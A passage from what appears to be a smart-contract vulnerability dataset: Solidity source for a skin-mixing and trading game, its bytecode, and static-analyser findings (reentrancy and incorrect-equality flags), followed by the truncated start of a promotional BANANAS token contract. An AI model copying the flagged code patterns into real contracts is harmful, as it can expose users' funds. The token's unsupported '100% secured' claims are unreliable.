function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract SkinBase is Pausable {
struct Skin {
uint128 appearance;
uint64 cooldownEndTime;
uint64 mixingWithId;
}
// All skins, mapping from skin id to skin apprance
mapping (uint256 => Skin) skins;
// Mapping from skin id to owner
mapping (uint256 => address) public skinIdToOwner;
// Whether a skin is on sale
mapping (uint256 => bool) public isOnSale;
// Number of all total valid skins
// skinId 0 should not correspond to any skin, because skin.mixingWithId==0 indicates not mixing
uint256 public nextSkinId = 1;
// Number of skins an account owns
mapping (address => uint256) public numSkinOfAccounts;
// // Give some skins to init account for unit tests
// function SkinBase() public {
// address account0 = 0x627306090abaB3A6e1400e9345bC60c78a8BEf57;
// address account1 = 0xf17f52151EbEF6C7334FAD080c5704D77216b732;
// // Create simple skins
// Skin memory skin = Skin({appearance: 0, cooldownEndTime:0, mixingWithId: 0});
// for (uint256 i = 1; i <= 15; i++) {
// if (i < 10) {
// skin.appearance = uint128(i);
// if (i < 7) {
// skinIdToOwner[i] = account0;
// numSkinOfAccounts[account0] += 1;
// } else {
// skinIdToOwner[i] = account1;
// numSkinOfAccounts[account1] += 1;
// }
// } else {
// skin.appearance = uint128(block.blockhash(block.number - i + 9));
// skinIdToOwner[i] = account1;
// numSkinOfAccounts[account1] += 1;
// }
// skins[i] = skin;
// isOnSale[i] = false;
// nextSkinId += 1;
// }
// }
// Get the i-th skin an account owns, for off-chain usage only
function skinOfAccountById(address account, uint256 id) external view returns (uint256) {
uint256 count = 0;
uint256 numSkinOfAccount = numSkinOfAccounts[account];
require(numSkinOfAccount > 0);
require(id < numSkinOfAccount);
for (uint256 i = 1; i < nextSkinId; i++) {
if (skinIdToOwner[i] == account) {
// This skin belongs to current account
if (count == id) {
// This is the id-th skin of current account, a.k.a, what we need
return i;
}
count++;
}
}
revert();
}
// Get skin by id
function getSkin(uint256 id) public view returns (uint128, uint64, uint64) {
require(id > 0);
require(id < nextSkinId);
Skin storage skin = skins[id];
return (skin.appearance, skin.cooldownEndTime, skin.mixingWithId);
}
function withdrawETH() external onlyOwner {
owner.transfer(this.balance);
}
}
contract MixFormulaInterface {
function calcNewSkinAppearance(uint128 x, uint128 y) public pure returns (uint128);
// create random appearance
function randomSkinAppearance() public view returns (uint128);
// bleach
function bleachAppearance(uint128 appearance, uint128 attributes) public pure returns (uint128);
}
contract SkinMix is SkinBase {
// Mix formula
MixFormulaInterface public mixFormula;
// Pre-paid ether for synthesization, will be returned to user if the synthesization failed (minus gas).
uint256 public prePaidFee = 2500000 * 5000000000; // (0.15million gas * 5 gwei)
// Events
event MixStart(address account, uint256 skinAId, uint256 skinBId);
event AutoMix(address account, uint256 skinAId, uint256 skinBId, uint64 cooldownEndTime);
event MixSuccess(address account, uint256 skinId, uint256 skinAId, uint256 skinBId);
// Set mix formula contract address
function setMixFormulaAddress(address mixFormulaAddress) external onlyOwner {
mixFormula = MixFormulaInterface(mixFormulaAddress);
}
// setPrePaidFee: set advance amount, only owner can call this
function setPrePaidFee(uint256 newPrePaidFee) external onlyOwner {
prePaidFee = newPrePaidFee;
}
// _isCooldownReady: check whether cooldown period has been passed
function _isCooldownReady(uint256 skinAId, uint256 skinBId) private view returns (bool) {
return (skins[skinAId].cooldownEndTime <= uint64(now)) && (skins[skinBId].cooldownEndTime <= uint64(now));
}
// _isNotMixing: check whether two skins are in another mixing process
function _isNotMixing(uint256 skinAId, uint256 skinBId) private view returns (bool) {
return (skins[skinAId].mixingWithId == 0) && (skins[skinBId].mixingWithId == 0);
}
// _setCooldownTime: set new cooldown time
function _setCooldownEndTime(uint256 skinAId, uint256 skinBId) private {
uint256 end = now + 5 minutes;
// uint256 end = now;
skins[skinAId].cooldownEndTime = uint64(end);
skins[skinBId].cooldownEndTime = uint64(end);
}
// _isValidSkin: whether an account can mix using these skins
// Make sure two things:
// 1. these two skins do exist
// 2. this account owns these skins
function _isValidSkin(address account, uint256 skinAId, uint256 skinBId) private view returns (bool) {
// Make sure those two skins belongs to this account
if (skinAId == skinBId) {
return false;
}
if ((skinAId == 0) || (skinBId == 0)) {
return false;
}
if ((skinAId >= nextSkinId) || (skinBId >= nextSkinId)) {
return false;
}
return (skinIdToOwner[skinAId] == account) && (skinIdToOwner[skinBId] == account);
}
// _isNotOnSale: whether a skin is not on sale
function _isNotOnSale(uint256 skinId) private view returns (bool) {
return (isOnSale[skinId] == false);
}
// mix
function mix(uint256 skinAId, uint256 skinBId) public whenNotPaused {
// Check whether skins are valid
require(_isValidSkin(msg.sender, skinAId, skinBId));
// Check whether skins are neither on sale
require(_isNotOnSale(skinAId) && _isNotOnSale(skinBId));
// Check cooldown
require(_isCooldownReady(skinAId, skinBId));
// Check these skins are not in another process
require(_isNotMixing(skinAId, skinBId));
// Set new cooldown time
_setCooldownEndTime(skinAId, skinBId);
// Mark skins as in mixing
skins[skinAId].mixingWithId = uint64(skinBId);
skins[skinBId].mixingWithId = uint64(skinAId);
// Emit MixStart event
MixStart(msg.sender, skinAId, skinBId);
}
// Mixing auto
function mixAuto(uint256 skinAId, uint256 skinBId) public payable whenNotPaused {
require(msg.value >= prePaidFee);
mix(skinAId, skinBId);
Skin storage skin = skins[skinAId];
AutoMix(msg.sender, skinAId, skinBId, skin.cooldownEndTime);
}
// Get mixing result, return the resulted skin id
function getMixingResult(uint256 skinAId, uint256 skinBId) public whenNotPaused {
// Check these two skins belongs to the same account
address account = skinIdToOwner[skinAId];
require(account == skinIdToOwner[skinBId]);
// Check these two skins are in the same mixing process
Skin storage skinA = skins[skinAId];
Skin storage skinB = skins[skinBId];
require(skinA.mixingWithId == uint64(skinBId));
require(skinB.mixingWithId == uint64(skinAId));
// Check cooldown
require(_isCooldownReady(skinAId, skinBId));
// Create new skin
uint128 newSkinAppearance = mixFormula.calcNewSkinAppearance(skinA.appearance, skinB.appearance);
Skin memory newSkin = Skin({appearance: newSkinAppearance, cooldownEndTime: uint64(now), mixingWithId: 0});
skins[nextSkinId] = newSkin;
skinIdToOwner[nextSkinId] = account;
isOnSale[nextSkinId] = false;
nextSkinId++;
// Clear old skins
skinA.mixingWithId = 0;
skinB.mixingWithId = 0;
// In order to distinguish created skins in minting with destroyed skins
// skinIdToOwner[skinAId] = owner;
// skinIdToOwner[skinBId] = owner;
delete skinIdToOwner[skinAId];
delete skinIdToOwner[skinBId];
// require(numSkinOfAccounts[account] >= 2);
numSkinOfAccounts[account] -= 1;
MixSuccess(account, nextSkinId - 1, skinAId, skinBId);
}
}
contract SkinMarket is SkinMix {
// Cut ratio for a transaction
// Values 0-10,000 map to 0%-100%
uint128 public trCut = 290;
// Sale orders list
mapping (uint256 => uint256) public desiredPrice;
// events
event PutOnSale(address account, uint256 skinId);
event WithdrawSale(address account, uint256 skinId);
event BuyInMarket(address buyer, uint256 skinId);
// functions
// Put asset on sale
function putOnSale(uint256 skinId, uint256 price) public whenNotPaused {
// Only owner of skin pass
require(skinIdToOwner[skinId] == msg.sender);
// Check whether skin is mixing
require(skins[skinId].mixingWithId == 0);
// Check whether skin is already on sale
require(isOnSale[skinId] == false);
require(price > 0);
// Put on sale
desiredPrice[skinId] = price;
isOnSale[skinId] = true;
// Emit the Approval event
PutOnSale(msg.sender, skinId);
}
// Withdraw an sale order
function withdrawSale(uint256 skinId) external whenNotPaused {
// Check whether this skin is on sale
require(isOnSale[skinId] == true);
// Can only withdraw self's sale
require(skinIdToOwner[skinId] == msg.sender);
// Withdraw
isOnSale[skinId] = false;
desiredPrice[skinId] = 0;
// Emit the cancel event
WithdrawSale(msg.sender, skinId);
}
// Buy skin in market
function buyInMarket(uint256 skinId) external payable whenNotPaused {
// Check whether this skin is on sale
require(isOnSale[skinId] == true);
address seller = skinIdToOwner[skinId];
// Check the sender isn't the seller
require(msg.sender != seller);
uint256 _price = desiredPrice[skinId];
// Check whether pay value is enough
require(msg.value >= _price);
// Cut and then send the proceeds to seller
uint256 sellerProceeds = _price - _computeCut(_price);
seller.transfer(sellerProceeds);
// Transfer skin from seller to buyer
numSkinOfAccounts[seller] -= 1;
skinIdToOwner[skinId] = msg.sender;
numSkinOfAccounts[msg.sender] += 1;
isOnSale[skinId] = false;
desiredPrice[skinId] = 0;
// Emit the buy event
BuyInMarket(msg.sender, skinId);
}
// Compute the marketCut
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * trCut / 10000;
}
}
contract SkinMinting is SkinMarket {
// Limits the number of skins the contract owner can ever create.
uint256 public skinCreatedLimit = 50000;
// The summon numbers of each accouts: will be cleared every day
mapping (address => uint256) public accoutToSummonNum;
// Pay level of each accouts
mapping (address => uint256) public accoutToPayLevel;
mapping (address => uint256) public accountsLastClearTime;
uint256 public levelClearTime = now;
// price
uint256 public baseSummonPrice = 3 finney;
uint256 public bleachPrice = 30 finney;
// Pay level
uint256[5] public levelSplits = [10,
20,
50,
100,
200];
uint256[6] public payMultiple = [1,
2,
4,
8,
20,
100];
// events
event CreateNewSkin(uint256 skinId, address account);
event Bleach(uint256 skinId, uint128 newAppearance);
// functions
// Set price
function setBaseSummonPrice(uint256 newPrice) external onlyOwner {
baseSummonPrice = newPrice;
}
function setBleachPrice(uint256 newPrice) external onlyOwner {
bleachPrice = newPrice;
}
// Create base skin for sell. Only owner can create
function createSkin(uint128 specifiedAppearance, uint256 salePrice) external onlyOwner whenNotPaused {
require(numSkinOfAccounts[owner] < skinCreatedLimit);
// Create specified skin
// uint128 randomAppearance = mixFormula.randomSkinAppearance();
Skin memory newSkin = Skin({appearance: specifiedAppearance, cooldownEndTime: uint64(now), mixingWithId: 0});
skins[nextSkinId] = newSkin;
skinIdToOwner[nextSkinId] = owner;
isOnSale[nextSkinId] = false;
// Emit the create event
CreateNewSkin(nextSkinId, owner);
// Put this skin on sale
putOnSale(nextSkinId, salePrice);
nextSkinId++;
numSkinOfAccounts[owner] += 1;
}
// Summon
function summon() external payable whenNotPaused {
// Clear daily summon numbers
if (accountsLastClearTime[msg.sender] == uint256(0)) {
// This account's first time to summon, we do not need to clear summon numbers
accountsLastClearTime[msg.sender] = now;
} else {
if (accountsLastClearTime[msg.sender] < levelClearTime && now > levelClearTime) {
accoutToSummonNum[msg.sender] = 0;
accoutToPayLevel[msg.sender] = 0;
accountsLastClearTime[msg.sender] = now;
}
}
uint256 payLevel = accoutToPayLevel[msg.sender];
uint256 price = payMultiple[payLevel] * baseSummonPrice;
require(msg.value >= price);
// Create random skin
uint128 randomAppearance = mixFormula.randomSkinAppearance();
// uint128 randomAppearance = 0;
Skin memory newSkin = Skin({appearance: randomAppearance, cooldownEndTime: uint64(now), mixingWithId: 0});
skins[nextSkinId] = newSkin;
skinIdToOwner[nextSkinId] = msg.sender;
isOnSale[nextSkinId] = false;
// Emit the create event
CreateNewSkin(nextSkinId, msg.sender);
nextSkinId++;
numSkinOfAccounts[msg.sender] += 1;
accoutToSummonNum[msg.sender] += 1;
// Handle the paylevel
if (payLevel < 5) {
if (accoutToSummonNum[msg.sender] >= levelSplits[payLevel]) {
accoutToPayLevel[msg.sender] = payLevel + 1;
}
}
}
// Bleach some attributes
function bleach(uint128 skinId, uint128 attributes) external payable whenNotPaused {
// Check whether msg.sender is owner of the skin
require(msg.sender == skinIdToOwner[skinId]);
// Check whether this skin is on sale
require(isOnSale[skinId] == false);
// Check whether there is enough money
require(msg.value >= bleachPrice);
Skin storage originSkin = skins[skinId];
// Check whether this skin is in mixing
require(originSkin.mixingWithId == 0);
uint128 newAppearance = mixFormula.bleachAppearance(originSkin.appearance, attributes);
originSkin.appearance = newAppearance;
// Emit bleach event
Bleach(skinId, newAppearance);
}
// Our daemon will clear daily summon numbers
function clearSummonNum() external onlyOwner {
uint256 nextDay = levelClearTime + 1 days;
if (now > nextDay) {
levelClearTime = nextDay;
}
}
} | 0x6060604052600436106101c95763ffffffff60e060020a60003504166302ce8ac981146101ce57806304f7a69d146101e657806305d258dd1461020b57806314ca6e01146102245780631e52f7b51461023a5780632038e80a146102595780632104fa0b14610288578063278fcffa1461029e578063287efb57146102bd5780632c9ea1b7146102dc578063363dd19e146102ef57806336f7992b146102f75780633a21ec8d146103105780633ef5f368146103235780633f4ba83a1461033957806356f913991461034c5780635b548ab41461037b5780635c975abb146103895780636885edcd146103b05780636c779d57146103c6578063733efe16146103dc5780637b04b1f8146103fb5780637b6e76031461040e5780638456cb591461042157806387934ec8146104345780638da5cb5b14610447578063959b3fa01461045a57806397b3116e1461047c57806398e4f58114610492578063a02a34cd146104e0578063ab5706ee14610502578063b4bb58fb14610518578063cf39bff514610531578063d46aa61014610550578063dd50e9d41461055b578063e086e5ec1461056e578063ede02b7114610581578063f0f2805f1461059b578063f2fde38b146105b1575b600080fd5b34156101d957600080fd5b6101e46004356105d0565b005b34156101f157600080fd5b6101f961069b565b60405190815260200160405180910390f35b341561021657600080fd5b6101e46004356024356106a1565b341561022f57600080fd5b6101e46004356109d1565b341561024557600080fd5b6101f9600160a060020a03600435166109f1565b341561026457600080fd5b61026c610a03565b604051600160a060020a03909116815260200160405180910390f35b341561029357600080fd5b61026c600435610a12565b34156102a957600080fd5b6101f9600160a060020a0360043516610a2d565b34156102c857600080fd5b6101e4600160a060020a0360043516610a3f565b34156102e757600080fd5b6101f9610a7c565b6101e4610a82565b341561030257600080fd5b6101e4600435602435610ded565b341561031b57600080fd5b6101f9610eef565b341561032e57600080fd5b6101f9600435610ef5565b341561034457600080fd5b6101e4610f09565b341561035757600080fd5b61035f610f88565b6040516001608060020a03909116815260200160405180910390f35b6101e4600435602435610f97565b341561039457600080fd5b61039c61105d565b604051901515815260200160405180910390f35b34156103bb57600080fd5b6101f960043561106d565b34156103d157600080fd5b6101f960043561107f565b34156103e757600080fd5b6101f9600160a060020a036004351661108c565b341561040657600080fd5b6101f961109e565b341561041957600080fd5b6101f96110a4565b341561042c57600080fd5b6101e46110aa565b341561043f57600080fd5b6101f961112e565b341561045257600080fd5b61026c611134565b341561046557600080fd5b6101e46001608060020a0360043516602435611143565b341561048757600080fd5b6101e4600435611349565b341561049d57600080fd5b6104a8600435611369565b6040516001608060020a03909316835267ffffffffffffffff9182166020840152166040808301919091526060909101905180910390f35b34156104eb57600080fd5b6101f9600160a060020a03600435166024356113c4565b341561050d57600080fd5b6101e4600435611450565b341561052357600080fd5b6101e4600435602435611470565b341561053c57600080fd5b6101f9600160a060020a03600435166115b1565b6101e46004356115c3565b341561056657600080fd5b6101e4611740565b341561057957600080fd5b6101e4611777565b6101e46001608060020a03600435811690602435166117cd565b34156105a657600080fd5b61039c60043561197f565b34156105bc57600080fd5b6101e4600160a060020a0360043516611994565b60005460a060020a900460ff16156105e757600080fd5b60008181526003602052604090205460ff16151560011461060757600080fd5b60008181526002602052604090205433600160a060020a0390811691161461062e57600080fd5b6000818152600360209081526040808320805460ff191690556009909152808220919091557f0d0e55f4e2a77f6d27f3ecdbe59fb9f5b4f4de61c10b3243e99905d4763baab6903390839051600160a060020a03909216825260208201526040908101905180910390a150565b600f5481565b6000806000806106af611be8565b60005460a060020a900460ff16156106c657600080fd5b60008781526002602052604080822054888352912054600160a060020a0391821696501685146106f557600080fd5b60008781526001602052604080822088835291208154919550935067ffffffffffffffff80881660c060020a909204161461072f57600080fd5b825467ffffffffffffffff88811660c060020a909204161461075057600080fd5b61075a8787611a22565b151561076557600080fd5b60065484548454600160a060020a039092169163a1c1519a916001608060020a03908116911660006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b15156107d957600080fd5b6102c65a03f115156107ea57600080fd5b505050604051805190509150606060405190810160409081526001608060020a038416825267ffffffffffffffff4216602080840191909152600082840181905260045481526001909152209091508190815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161781556040820151815467ffffffffffffffff9190911660c060020a0277ffffffffffffffffffffffffffffffffffffffffffffffff918216179091556004805460009081526002602081815260408084208054600160a060020a038e16600160a060020a031991821681179092558654865260038452828620805460ff19169055865460010187558c5488168d558b549097168b558e85529282528084208054871690558c8452808420805490961690955590825260059052829020805460001990810190915590547fac81ba101131fd51da2d33fa7ef506549a1f53c29fad06382d86b257fc5888d9935088929101908a908a90518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a150505050505050565b60005433600160a060020a039081169116146109ec57600080fd5b601055565b600c6020526000908152604090205481565b600654600160a060020a031681565b600260205260009081526040902054600160a060020a031681565b600d6020526000908152604090205481565b60005433600160a060020a03908116911614610a5a57600080fd5b60068054600160a060020a031916600160a060020a0392909216919091179055565b60045481565b6000806000610a8f611be8565b60005460a060020a900460ff1615610aa657600080fd5b600160a060020a0333166000908152600d60205260409020541515610ae557600160a060020a0333166000908152600d60205260409020429055610b47565b600e54600160a060020a0333166000908152600d6020526040902054108015610b0f5750600e5442115b15610b4757600160a060020a0333166000908152600b60209081526040808320839055600c8252808320839055600d90915290204290555b600160a060020a0333166000908152600c6020526040902054600f5490945060168560068110610b7357fe5b01540292503483901015610b8657600080fd5b600654600160a060020a03166321614f626000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610bce57600080fd5b6102c65a03f11515610bdf57600080fd5b505050604051805190509150606060405190810160409081526001608060020a038416825267ffffffffffffffff4216602080840191909152600082840181905260045481526001909152209091508190815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161781556040820151815477ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a67ffffffffffffffff9290921691909102179055506004805460009081526002602090815260408083208054600160a060020a03191633600160a060020a0381169190911790915584548452600390925291829020805460ff1916905591547fe02fda003a77c2554ac72a53bbeacf3440a1e22212fd46e961fc2b123294dd4e92909151918252600160a060020a031660208201526040908101905180910390a1600480546001908101909155600160a060020a0333166000908152600560208181526040808420805486019055600b9091529091208054909201909155841015610de75760118460058110610da857fe5b0154600160a060020a0333166000908152600b602052604090205410610de757600160a060020a0333166000908152600c602052604090206001850190555b50505050565b60005460a060020a900460ff1615610e0457600080fd5b60008281526002602052604090205433600160a060020a03908116911614610e2b57600080fd5b60008281526001602052604090205460c060020a900467ffffffffffffffff1615610e5557600080fd5b60008281526003602052604090205460ff1615610e7157600080fd5b60008111610e7e57600080fd5b6000828152600960209081526040808320849055600390915290819020805460ff191660011790557f490fad3155d80ff0da3b5e2676a2b0121544ec602724a25f5f41157862ad582a903390849051600160a060020a03909216825260208201526040908101905180910390a15050565b60105481565b60168160068110610f0257fe5b0154905081565b60005433600160a060020a03908116911614610f2457600080fd5b60005460a060020a900460ff161515610f3c57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6008546001608060020a031681565b6000805460a060020a900460ff1615610faf57600080fd5b600754341015610fbe57600080fd5b610fc88383611470565b6001600084815260200190815260200160002090507fa0b8773c576b204aa8e6df0ff342f9b00297636e99dce8a2103e8d966e767f843384848460000160109054906101000a900467ffffffffffffffff16604051600160a060020a039094168452602084019290925260408084019190915267ffffffffffffffff90911660608301526080909101905180910390a1505050565b60005460a060020a900460ff1681565b60096020526000908152604090205481565b60118160058110610f0257fe5b60056020526000908152604090205481565b60075481565b600e5481565b60005433600160a060020a039081169116146110c557600080fd5b60005460a060020a900460ff16156110dc57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600a5481565b600054600160a060020a031681565b61114b611be8565b60005433600160a060020a0390811691161461116657600080fd5b60005460a060020a900460ff161561117d57600080fd5b600a5460008054600160a060020a0316815260056020526040902054106111a357600080fd5b606060405190810160409081526001608060020a038516825267ffffffffffffffff4216602080840191909152600082840181905260045481526001909152209091508190815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161781556040820151815467ffffffffffffffff9190911660c060020a0277ffffffffffffffffffffffffffffffffffffffffffffffff90911617905550600080546004805483526002602090815260408085208054600160a060020a031916600160a060020a03958616179055825485526003909152808420805460ff19169055905492547fe02fda003a77c2554ac72a53bbeacf3440a1e22212fd46e961fc2b123294dd4e9392169051918252600160a060020a031660208201526040908101905180910390a161131960045483610ded565b505060048054600190810190915560008054600160a060020a031681526005602052604090208054909101905550565b60005433600160a060020a0390811691161461136457600080fd5b600755565b600080808080851161137a57600080fd5b600454851061138857600080fd5b505050600091825250600160205260409020546001608060020a0381169167ffffffffffffffff608060020a830481169260c060020a90041690565b600160a060020a0382166000908152600560205260408120548190818082116113ec57600080fd5b8185106113f857600080fd5b5060015b6004548110156101c957600081815260026020526040902054600160a060020a038781169116141561143f578483141561143857809350611447565b6001909201915b6001016113fc565b50505092915050565b60005433600160a060020a0390811691161461146b57600080fd5b600f55565b60005460a060020a900460ff161561148757600080fd5b611492338383611a7d565b151561149d57600080fd5b6114a682611b11565b80156114b657506114b681611b11565b15156114c157600080fd5b6114cb8282611a22565b15156114d657600080fd5b6114e08282611b27565b15156114eb57600080fd5b6114f58282611b76565b600082815260016020526040808220805467ffffffffffffffff80861660c060020a90810277ffffffffffffffffffffffffffffffffffffffffffffffff938416179093558585529383902080549487169092029316929092179091557f4e1f80806ba228e25ed6f726450eaef48a5ae8e2604ca9156f554699acdd883f90339084908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a15050565b600b6020526000908152604090205481565b600080548190819060a060020a900460ff16156115df57600080fd5b60008481526003602052604090205460ff1615156001146115ff57600080fd5b600084815260026020526040902054600160a060020a039081169350331683141561162957600080fd5b6000848152600960205260409020549150348290101561164857600080fd5b61165182611bcf565b82039050600160a060020a03831681156108fc0282604051600060405180830381858888f19350505050151561168657600080fd5b600160a060020a0383811660009081526005602081815260408084208054600019019055888452600282528084208054600160a060020a0319163396871690811790915584529181528183208054600101905587835260038152818320805460ff1916905560099052808220919091557ff6de23dfab6e1deb1628f4b40e812dcd594adc18c2738b3606e6525e8b63d4ca9190869051600160a060020a03909216825260208201526040908101905180910390a150505050565b6000805433600160a060020a0390811691161461175c57600080fd5b600e54620151800190508042111561177457600e8190555b50565b60005433600160a060020a0390811691161461179257600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156117cb57600080fd5b565b60008054819060a060020a900460ff16156117e757600080fd5b6001608060020a03841660009081526002602052604090205433600160a060020a0390811691161461181857600080fd5b6001608060020a03841660009081526003602052604090205460ff161561183e57600080fd5b60105434101561184d57600080fd5b6001608060020a0384166000908152600160205260409020805490925060c060020a900467ffffffffffffffff161561188557600080fd5b6006548254600160a060020a039091169063250312ce906001608060020a03168560006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b15156118f457600080fd5b6102c65a03f1151561190557600080fd5b505050604051805183546fffffffffffffffffffffffffffffffff19166001608060020a03821617845591507fb1682fb0e70bb59dd5b0108ba10dad2a8cfa888b95b829260d566317d5d70fcb905084826040516001608060020a039283168152911660208201526040908101905180910390a150505050565b60036020526000908152604090205460ff1681565b60005433600160a060020a039081169116146119af57600080fd5b600160a060020a03811615156119c457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60008281526001602052604081205467ffffffffffffffff428116608060020a9092041611801590611a76575060008281526001602052604090205467ffffffffffffffff428116608060020a9092041611155b9392505050565b600081831415611a8f57506000611a76565b821580611a9a575081155b15611aa757506000611a76565b60045483101580611aba57506004548210155b15611ac757506000611a76565b600083815260026020526040902054600160a060020a038581169116148015611b095750600082815260026020526040902054600160a060020a038581169116145b949350505050565b60009081526003602052604090205460ff161590565b60008281526001602052604081205460c060020a900467ffffffffffffffff16158015611a7657505060009081526001602052604090205460c060020a900467ffffffffffffffff1615919050565b600091825260016020526040808320805467ffffffffffffffff61012c420116608060020a0277ffffffffffffffff00000000000000000000000000000000199182168117909255928452922080549091169091179055565b6008546127106001608060020a03909116919091020490565b6060604051908101604090815260008083526020830181905290820152905600a165627a7a7230582003dd2550d7c7001a837037d25264cab92769cf6172237429a6c2fe6944fbaf8d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 809 |
0x939566b6c1fcd3bb1e7740f6399491ce84bdca60 | /***
* Launching today August 6th: CrazyBananas
* $BANANAS
*
* More info via t.me/crazybananas
* twitter.com/crazybananasfun
* www.crazybananas.fun
*
* Collect as many bananas as you can, the rewards will be crazy!!
*
* 100% secured by a proven team, fair launch, locked liquidity, ownership renounced.
*
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BANANAS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"CrazyBananas | t.me/CrazyBananas";
string private constant _symbol = unicode"BANANAS";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
